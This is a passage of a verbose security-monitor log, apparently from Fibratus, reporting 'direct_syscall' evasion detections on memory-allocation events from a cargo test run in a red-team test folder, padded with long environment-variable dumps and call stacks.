Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcfa592 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fd24eb1 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fd1738e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcbe8a3 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902960 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9909617 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e0000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc41d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902962 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9909831 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50df000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ 